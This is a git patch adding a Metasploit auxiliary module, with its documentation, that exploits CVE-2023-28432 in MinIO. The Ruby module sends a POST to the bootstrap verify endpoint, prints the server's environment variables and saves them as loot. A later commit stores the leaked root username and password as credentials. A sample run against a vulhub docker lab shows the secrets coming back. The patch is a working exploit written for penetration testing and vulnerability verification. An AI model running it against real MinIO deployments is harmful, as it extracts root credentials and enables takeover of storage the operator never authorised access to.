From 2b01b863741557b458069729c475d9ae4c780fc9 Mon Sep 17 00:00:00 2001 From: cudalac Date: Wed, 31 Jan 2024 13:33:04 -0500 Subject: [PATCH 1/2] Adding new module for MinIO --- .../minio_bootstrap_verify_info_disc.md | 47 +++++++++++++ .../minio_bootstrap_verify_info_disc.rb | 67 +++++++++++++++++++ 2 files changed, 114 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md create mode 100644 modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb diff --git a/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md b/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md new file mode 100644 index 0000000000..7af9028aad --- /dev/null +++ b/documentation/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.md @@ -0,0 +1,47 @@ +## Vulnerable Application + +MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with +RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns +all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`, +resulting in information disclosure. + +### Docker Image + +1. Download docker yml: https://raw.githubusercontent.com/vulhub/vulhub/master/minio/CVE-2023-28432/docker-compose.yml +1. Execute `docker-compose up` inside the same directory containing the docker-compose.yml +1. Then MinIO's login page should be available at http://127.0.0.1:9001/ + +## Verification Steps + +1. Start msfconsole +1. Do: `use auxiliary/gather/minio_bootstrap_verify_info_disc.rb` +1. Do: `set rhost [IP]` +1. Do: `run` +1. You should get MinIO Environmental Variables + +## Options + +## Scenarios + +### MinIO 2023-02-27T18:10:45Z from docker image + +``` +resource (msf)> set rhost 127.0.0.1 +rhost => 127.0.0.1 +resource (msf)> set rport 9000 +rport => 9000 +msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run +[*] Reloading module... +[*] Running module against 127.0.0.1 + +[+] MINIO_ACCESS_KEY_FILE: access_key +[+] MINIO_CONFIG_ENV_FILE: config.env +[+] MINIO_KMS_SECRET_KEY_FILE: kms_master_key +[+] MINIO_ROOT_PASSWORD: minioadmin-vulhub +[+] MINIO_ROOT_PASSWORD_FILE: secret_key +[+] MINIO_ROOT_USER: minioadmin +[+] MINIO_ROOT_USER_FILE: access_key +[+] MINIO_SECRET_KEY_FILE: secret_key +[+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb b/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb new file mode 100644 index 0000000000..22eed94e04 --- /dev/null +++ b/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb @@ -0,0 +1,67 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MinIO Bootstrap Verify Information Disclosure', + 'Description' => %q{ + MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with + RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns + all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`, + resulting in information disclosure. + + Verified against MinIO 2023-02-27T18:10:45Z + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'joel @ ndepthsecurity', # msf module + 'RicterZ' # original PoC, analysis + ], + 'References' => [ + [ 'URL', 'https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q'], + [ 'CVE', '2023-28432'] + ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2023-03-20', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(9000), + OptString.new('TARGETURI', [ true, 'The URI of the MinIO Application', '/']) + ] + ) + end + + def run + vprint_status('Sending Request') + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'minio/bootstrap/v1/verify'), + 'method' => 'POST' + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response (response code: #{res.code})") unless res.code == 200 + + json = res.get_json_document + json['MinioEnv'].each do |key, value| + print_good("#{key}: #{value}") + end + + path = store_loot('minio.env.json', 'application/json', rhost, json, 'minio.env.json', 'MinIO Environmental Variables Json') + print_good("MinIO Environmental Variables Json Saved to: #{path}") + end +end From 980c5053f4253a00d8b5338f0217b1d77fa5b470 Mon Sep 17 00:00:00 2001 From: cudalac Date: Fri, 8 Mar 2024 08:54:38 -0500 Subject: [PATCH 2/2] Peer Review --- .../minio_bootstrap_verify_info_disc.rb | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb b/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb index 22eed94e04..b091612efb 100644 --- a/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb +++ b/modules/auxiliary/gather/minio_bootstrap_verify_info_disc.rb @@ -47,6 +47,31 @@ class MetasploitModule < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: 'MinIO', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts['user'], + private_data: opts['password'], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status('Sending Request') res = send_request_cgi( @@ -57,11 +82,19 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response (response code: #{res.code})") unless res.code == 200 json = res.get_json_document + + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected JSON Object") unless json.key? 'MinioEnv' + + creds = {} + json['MinioEnv'].each do |key, value| print_good("#{key}: #{value}") + creds['user'] = value if key == 'MINIO_ROOT_USER' + creds['password'] = value if key == 'MINIO_ROOT_PASSWORD' end path = store_loot('minio.env.json', 'application/json', rhost, json, 'minio.env.json', 'MinIO Environmental Variables Json') + report_cred(creds) if creds.key?('user') && creds.key?('password') print_good("MinIO Environmental Variables Json Saved to: #{path}") end end